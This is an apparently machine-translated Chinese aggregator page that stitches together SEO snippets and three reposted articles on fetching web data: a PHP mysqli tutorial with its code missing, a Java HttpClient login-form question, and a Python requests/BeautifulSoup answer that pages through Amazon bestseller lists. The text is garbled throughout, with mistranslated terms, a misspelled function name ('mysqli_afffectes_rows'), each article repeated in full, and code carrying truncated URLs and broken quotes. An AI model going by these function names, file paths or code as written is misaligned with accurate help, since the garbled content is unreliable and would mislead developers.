  所谓“响应式网页设计(Responsive Web Design)”也是自适应的,是一种能够自动识别屏幕宽度并做出相应调整的网页设计。目前这种设计已经出现在越来越多的国内网站中,谷歌已经明确表示鼓励响应式网页设计。
  
  简化您的网页设计
  随着网站构建技术的发展,在网页中实现复杂的功能已经不再困难。网页中的功能越来越多。因此,需要在用户的浏览体验和网页设计的美感之间取得平衡。显得非常重要。
  
  宝安网页设计从SEO角度谈网页设计标准
  深圳宝安网页设计从SEO角度谈网页设计标准。在任何时候,网站访问者都处于以下阶段之一: 1. 注意;2、利息;3.欲望;4. 行动;5.满足。在每个阶段,参观者都是不同的
  
  什么是标签页?如何优化标签页?
  什么是标签页?如何优化标签页?标签页是很常用的,如果用得好,SEO效果会很好,但是很多网站标签页使用不当,甚至可能产生负面影响,所以这是一个很好的问题。但是这个问题
  
  网页登录成功后php如何实现网页跳转?
  网页登录成功后php实现网页跳转的方法:首先打开php编辑器,新建一个php文件;然后在[index.php]中输入代码[header('Location:index.php');];最后浏览服务器运行[login.
  
  网页登录成功后如何在php中实现网页跳转
  网页登录成功后php实现网页跳转的方法:首先打开编辑器,新建一个php文件;然后输入代码“header('Location:index.php');” 在php文件中;最后在浏览器中运行它,这将跳转到索引时

php抓取网页数据实例(使用mysqli_connect()函数连接服务器(1) )

网站优化优采云 发表了文章 • 0 个评论 • 54 次浏览 • 2022-04-09 00:05 • 来自相关话题

  php抓取网页数据实例(使用mysqli_connect()函数连接服务器(1)
)
  1.使用mysqli_connect()函数连接MySQL服务器
  mysqli_connect()函数的格式
  mysqli_connect("MySQL服务器地址","用户名","用户密码","要连接的数据库名");
  2.使用mysqli_query函数执行sql语句
  使用 mysqli_query();执行sql语句的函数,需要给这个函数传递两个参数,一个是MySQL数据库服务器连接对象;另一种是用字符串表示的sql语句。格式:
  mysqli_query(数据库服务器连接对象,sql语句);
  示例:在数据库中插入数据并更新数据
  
  执行结果
  
  可以看出mysqli_query()函数执行sql语句后返回结果。
  3.获取查询结果集中的记录数
  使用mysqli_num_rows()函数获取查询结果中收录的数据记录数,只需给出返回的数据对象即可。格式:
  mysqli_num_rows($result);
  其中result指的是查询结果对象,该函数只对select语句有效。
  如果要获取查询、插入、更新和删除操作影响的行数,需要使用mysqli_affected_rows函数。 mysqli_affected_rows() 函数返回受先前mysql操作影响的行数。语法:
  mysqli_afffectes_rows(连接)
  其中connection为必填参数,表示当前mysql连接。返回 0 表示没有受影响的记录,-1 表示查询返回错误。
  示例:实现两个函数的使用
  
  执行结果
  
  示例 1
  1。查询mysql数据库中的用户信息
  (1)在URL主目录下创建demo文件4.html
  
  (2)在URL主目录下创建文件demo4.php
  
  (3)运行演示4.html
  
  (4)输入框输入“LeBron James”,单机查找按钮,页面跳转到demo4.php,返回请求结果。
  
  示例 2
  2.使用insert语句动态添加用户信息
  使用公司数据库中的用户表在下面添加新的用户信息。
  (1)新建一个demo5.URL文件夹下的html文件
  
  (2)继续演示5.URL文件夹中的PHP文件
  
  (3)运行演示5.html,结果
  
  (4)单价添加按钮,页面跳转到demo5.php,返回插入数据的信息
   查看全部

  php抓取网页数据实例(使用mysqli_connect()函数连接服务器(1)
)
  1.使用mysqli_connect()函数连接MySQL服务器
  mysqli_connect()函数的格式
  mysqli_connect("MySQL服务器地址","用户名","用户密码","要连接的数据库名");
  2.使用mysqli_query函数执行sql语句
  使用 mysqli_query();执行sql语句的函数,需要给这个函数传递两个参数,一个是MySQL数据库服务器连接对象;另一种是用字符串表示的sql语句。格式:
  mysqli_query(数据库服务器连接对象,sql语句);
  示例:在数据库中插入数据并更新数据
  
  执行结果
  
  可以看出mysqli_query()函数执行sql语句后返回结果。
  3.获取查询结果集中的记录数
  使用mysqli_num_rows()函数获取查询结果中收录的数据记录数,只需给出返回的数据对象即可。格式:
  mysqli_num_rows($result);
  其中result指的是查询结果对象,该函数只对select语句有效。
  如果要获取查询、插入、更新和删除操作影响的行数,需要使用mysqli_affected_rows函数。 mysqli_affected_rows() 函数返回受先前mysql操作影响的行数。语法:
  mysqli_afffectes_rows(连接)
  其中connection为必填参数,表示当前mysql连接。返回 0 表示没有受影响的记录,-1 表示查询返回错误。
  示例:实现两个函数的使用
  
  执行结果
  
  示例 1
  1。查询mysql数据库中的用户信息
  (1)在URL主目录下创建demo文件4.html
  
  (2)在URL主目录下创建文件demo4.php
  
  (3)运行演示4.html
  
  (4)输入框输入“LeBron James”,单机查找按钮,页面跳转到demo4.php,返回请求结果。
  
  示例 2
  2.使用insert语句动态添加用户信息
  使用公司数据库中的用户表在下面添加新的用户信息。
  (1)新建一个demo5.URL文件夹下的html文件
  
  (2)继续演示5.URL文件夹中的PHP文件
  
  (3)运行演示5.html,结果
  
  (4)单价添加按钮,页面跳转到demo5.php,返回插入数据的信息
  

php抓取网页数据实例(我正在创建一个第三方java应用程序(桌面)(桌面))

网站优化优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-04-07 09:10 • 来自相关话题

  php抓取网页数据实例(我正在创建一个第三方java应用程序(桌面)(桌面))
  我正在创建一个需要连接到基于 php 的站点并登录以采集相关数据的第 3 方 Java 应用程序(桌面)。没有可访问的 Web 服务,没有 API,每个用户都有自己的安全登录。该站点使用 dojo(如果这很重要),我使用 javahttpclient 发送帖子。
  HttpPost httppost = new HttpPost("https://thewebsite.net/index/login"); // .php ?
// Create a new HttpClient and Post Header
HttpClient httpclient = new DefaultHttpClient();
//initialize the response string
String nextpage = "";
try {
// Add nvps
List nameValuePairs = new ArrayList(3);
nameValuePairs.add(new BasicNameValuePair("", ""));
nameValuePairs.add(new BasicNameValuePair("login", "USER"));
nameValuePairs.add(new BasicNameValuePair("", ""));
nameValuePairs.add(new BasicNameValuePair("pass", "PASSWORD"));
nameValuePairs.add(new BasicNameValuePair("Submit", ""));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
userID = EntityUtils.toString(response.getEntity());
System.out.println(nextpage);
httppost.releaseConnection();
}
...
  现在,我遇到的问题是给我的响应是通过 dojo 为 user/pass 字段提供的验证 jscript。
  
dojo.require("dojox.validate._base");
function validate_RepeatPassword(val, constraints)
{
var isValid = false;
if(constraints) {
var otherInput = dijit.byId(constraints[0]);
if(otherInput) {
var otherValue = otherInput.value;
isValid = (val == otherValue);
}
}
return isValid;
}
  我只想连接,解析一个 html 响应,然后关闭连接。
  当我使用 firebug 时,我使用它作为 post 方法,但我似乎无法让它运行:quote login=user&pass=password 查看全部

  php抓取网页数据实例(我正在创建一个第三方java应用程序(桌面)(桌面))
  我正在创建一个需要连接到基于 php 的站点并登录以采集相关数据的第 3 方 Java 应用程序(桌面)。没有可访问的 Web 服务,没有 API,每个用户都有自己的安全登录。该站点使用 dojo(如果这很重要),我使用 javahttpclient 发送帖子。
  HttpPost httppost = new HttpPost("https://thewebsite.net/index/login";); // .php ?
// Create a new HttpClient and Post Header
HttpClient httpclient = new DefaultHttpClient();
//initialize the response string
String nextpage = "";
try {
// Add nvps
List nameValuePairs = new ArrayList(3);
nameValuePairs.add(new BasicNameValuePair("", ""));
nameValuePairs.add(new BasicNameValuePair("login", "USER"));
nameValuePairs.add(new BasicNameValuePair("", ""));
nameValuePairs.add(new BasicNameValuePair("pass", "PASSWORD"));
nameValuePairs.add(new BasicNameValuePair("Submit", ""));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
userID = EntityUtils.toString(response.getEntity());
System.out.println(nextpage);
httppost.releaseConnection();
}
...
  现在,我遇到的问题是给我的响应是通过 dojo 为 user/pass 字段提供的验证 jscript。
  
dojo.require("dojox.validate._base");
function validate_RepeatPassword(val, constraints)
{
var isValid = false;
if(constraints) {
var otherInput = dijit.byId(constraints[0]);
if(otherInput) {
var otherValue = otherInput.value;
isValid = (val == otherValue);
}
}
return isValid;
}
  我只想连接,解析一个 html 响应,然后关闭连接。
  当我使用 firebug 时,我使用它作为 post 方法,但我似乎无法让它运行:quote login=user&pass=password

php抓取网页数据实例(如何从第二页抓取数据?假设我要的数据!)

网站优化优采云 发表了文章 • 0 个评论 • 125 次浏览 • 2022-04-06 09:15 • 来自相关话题

  php抓取网页数据实例(如何从第二页抓取数据?假设我要的数据!)
  TJ1
  假设我正在抓取数据。
  我可以使用 urlopen 和 BeautifulSoup 在 python 2.7 中做到这一点。
  现在,如果我想使用从第二页获取数据。
  我得到的是第一页数据!使用Chrome的“查看页面源”读取第二页的页面源,内容属于第一页!
  如何从第二页抓取数据?
  ec
  页面本质上是非常异步的,有 XHR 请求来形成搜索结果并使用请求在您的代码中模拟它们。示例代码为您提供了一个起点:
  from bs4 import BeautifulSoup
import requests
url = 'http://www.amazon.com/Best-Sellers-Books-Architecture/zgbs/books/173508/#2'
ajax_url = "http://www.amazon.com/Best-Sel ... ot%3B
def get_books(data):
soup = BeautifulSoup(data)
for title in soup.select("div.zg_itemImmersion div.zg_title a"):
print title.get_text(strip=True)
with requests.Session() as session:
session.get(url)
session.headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
'X-Requested-With': 'XMLHttpRequest'
}
for page in range(1, 10):
print "Page #%d" % page
params = {
"_encoding": "UTF8",
"pg": str(page),
"ajax": "1"
}
response = session.get(ajax_url, params=params)
get_books(response.content)
params["isAboveTheFold"] = "0"
response = session.get(ajax_url, params=params)
get_books(response.content)
  并且不要忘记成为一名优秀的网络爬虫公民并遵守使用条款。 查看全部

  php抓取网页数据实例(如何从第二页抓取数据?假设我要的数据!)
  TJ1
  假设我正在抓取数据。
  我可以使用 urlopen 和 BeautifulSoup 在 python 2.7 中做到这一点。
  现在,如果我想使用从第二页获取数据。
  我得到的是第一页数据!使用Chrome的“查看页面源”读取第二页的页面源,内容属于第一页!
  如何从第二页抓取数据?
  ec
  页面本质上是非常异步的,有 XHR 请求来形成搜索结果并使用请求在您的代码中模拟它们。示例代码为您提供了一个起点:
  from bs4 import BeautifulSoup
import requests
url = 'http://www.amazon.com/Best-Sellers-Books-Architecture/zgbs/books/173508/#2'
ajax_url = "http://www.amazon.com/Best-Sel ... ot%3B
def get_books(data):
soup = BeautifulSoup(data)
for title in soup.select("div.zg_itemImmersion div.zg_title a"):
print title.get_text(strip=True)
with requests.Session() as session:
session.get(url)
session.headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
'X-Requested-With': 'XMLHttpRequest'
}
for page in range(1, 10):
print "Page #%d" % page
params = {
"_encoding": "UTF8",
"pg": str(page),
"ajax": "1"
}
response = session.get(ajax_url, params=params)
get_books(response.content)
params["isAboveTheFold"] = "0"
response = session.get(ajax_url, params=params)
get_books(response.content)
  并且不要忘记成为一名优秀的网络爬虫公民并遵守使用条款。

官方客服QQ群

微信人工客服

QQ人工客服


线